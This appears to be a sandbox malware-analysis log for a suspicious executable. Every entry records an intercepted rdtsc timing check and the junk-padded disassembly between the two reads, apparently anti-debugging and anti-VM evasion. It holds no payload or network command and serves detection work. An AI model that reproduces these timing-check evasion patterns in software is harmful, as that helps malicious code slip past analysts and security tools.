Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7374D8 second address: 7374DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DBEA8 second address: 6DBEC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DBEC2 second address: 6DBF19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FE1C0B69E40h 0x0000000c nop 0x0000000d mov edx, dword ptr [ebp+122D2A5Fh] 0x00000013 mov ebx, dword ptr [ebp+1246FF85h] 0x00000019 mov edx, dword ptr [ebp+122D3A99h] 0x0000001f add eax, ebx 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007FE1C0B69E38h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push edx 0x0000003f push edx 0x00000040 pop edx 0x00000041 pop edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DBF19 second address: 6DBF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DBF1F second address: 6DBF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 73761D second address: 73762F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE1C0EF51E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FE1C0EF51E8h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7377C6 second address: 7377DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FE1C0B69E43h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7377DE second address: 73782C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C0EF51FDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jns 00007FE1C0EF51E6h 0x00000012 pushad 0x00000013 popad 0x00000014 jc 00007FE1C0EF51E6h 0x0000001a popad 0x0000001b jmp 00007FE1C0EF51F2h 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 je 00007FE1C0EF51E6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 738255 second address: 738283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE1C0B69E45h 0x0000000e jmp 00007FE1C0B69E40h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7405A2 second address: 7405B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7405B9 second address: 7405BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 73E868 second address: 73E86C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 73E86C second address: 73E872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 73E9EF second address: 73E9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7402CF second address: 7402D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7402D5 second address: 7402DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 744423 second address: 744444 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 js 00007FE1C0B69E36h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push edx 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 744444 second address: 744449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 744449 second address: 744460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E42h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 744460 second address: 744466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7445C8 second address: 7445D2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE1C0B69E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7445D2 second address: 744606 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FE1C0EF51EFh 0x00000011 jng 00007FE1C0EF51E6h 0x00000017 jng 00007FE1C0EF51E6h 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7447A8 second address: 7447AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 744929 second address: 744933 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE1C0EF51E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 744A91 second address: 744A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7499CA second address: 7499D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7499D0 second address: 7499D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 74BE8D second address: 74BEA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0EF51EEh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 74BEA1 second address: 74BEAB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE1C0B69E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 754400 second address: 754404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 754404 second address: 75443A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Ah 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FE1C0B69E3Bh 0x00000011 jmp 00007FE1C0B69E48h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 752970 second address: 75298A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jc 00007FE1C0EF51EEh 0x0000000f jng 00007FE1C0EF51E6h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 75298A second address: 7529B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE1C0B69E36h 0x0000000a jmp 00007FE1C0B69E49h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 752B22 second address: 752B27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 752CB9 second address: 752CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 752E36 second address: 752E8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F0h 0x00000007 push ebx 0x00000008 jmp 00007FE1C0EF51F2h 0x0000000d jmp 00007FE1C0EF51F9h 0x00000012 pop ebx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE1C0EF51F1h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 752E8E second address: 752E98 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE1C0B69E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 752E98 second address: 752E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 752E9E second address: 752EA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FE1C0B69E36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 752EA9 second address: 752EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 753445 second address: 753477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0B69E48h 0x00000008 jmp 00007FE1C0B69E43h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 753477 second address: 75347D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 75347D second address: 753485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 75B746 second address: 75B74F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 75B74F second address: 75B76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jg 00007FE1C0B69E36h 0x00000015 jl 00007FE1C0B69E36h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 75B76D second address: 75B772 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 75B49E second address: 75B4A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 762BE2 second address: 762BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 762BE6 second address: 762BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE1C0B69E36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 76A3C9 second address: 76A406 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FE1C0EF5216h 0x0000000f push ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007FE1C0EF51F8h 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 76A406 second address: 76A40A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 76D552 second address: 76D56F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FE1C0EF51E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 76D115 second address: 76D142 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C0B69E36h 0x00000008 jl 00007FE1C0B69E36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007FE1C0B69E3Eh 0x00000016 pushad 0x00000017 popad 0x00000018 jbe 00007FE1C0B69E36h 0x0000001e pop esi 0x0000001f ja 00007FE1C0B69E44h 0x00000025 push eax 0x00000026 push edx 0x00000027 jp 00007FE1C0B69E36h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 76D28E second address: 76D292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 76D292 second address: 76D2AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE1C0B69E40h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7755E9 second address: 7755ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7755ED second address: 7755FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 786307 second address: 78630F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 78630F second address: 786317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 786317 second address: 78631E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 78631E second address: 786338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E40h 0x00000009 jo 00007FE1C0B69E36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 786338 second address: 78633C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 784F8A second address: 784F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7854C6 second address: 7854E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0EF51F4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7854E0 second address: 785501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE1C0B69E49h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7999F5 second address: 7999F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7999F9 second address: 7999FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7999FF second address: 799A07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 799A07 second address: 799A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 799A0B second address: 799A0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 799A0F second address: 799A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FE1C0B69E42h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 jno 00007FE1C0B69E36h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 799A37 second address: 799A57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F8h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 799A57 second address: 799A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 799894 second address: 7998A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE1C0EF51ECh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A07AB second address: 7A07AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A07AF second address: 7A07CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A07CA second address: 7A07CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A07CF second address: 7A07F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FE1C0EF51EDh 0x00000014 jc 00007FE1C0EF51E6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A07F7 second address: 7A0802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A0802 second address: 7A0806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A0806 second address: 7A0810 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE1C0B69E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A0810 second address: 7A0819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A0819 second address: 7A081F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A1F82 second address: 7A1FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FE1C0EF51F8h 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007FE1C0EF51E6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A1FA9 second address: 7A1FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A1FAF second address: 7A1FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE1C0EF51E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7A1FB9 second address: 7A1FBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C7E33 second address: 7C7E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C7E3B second address: 7C7E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C7E3F second address: 7C7E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C7E43 second address: 7C7E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7C8506 second address: 7C8514 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
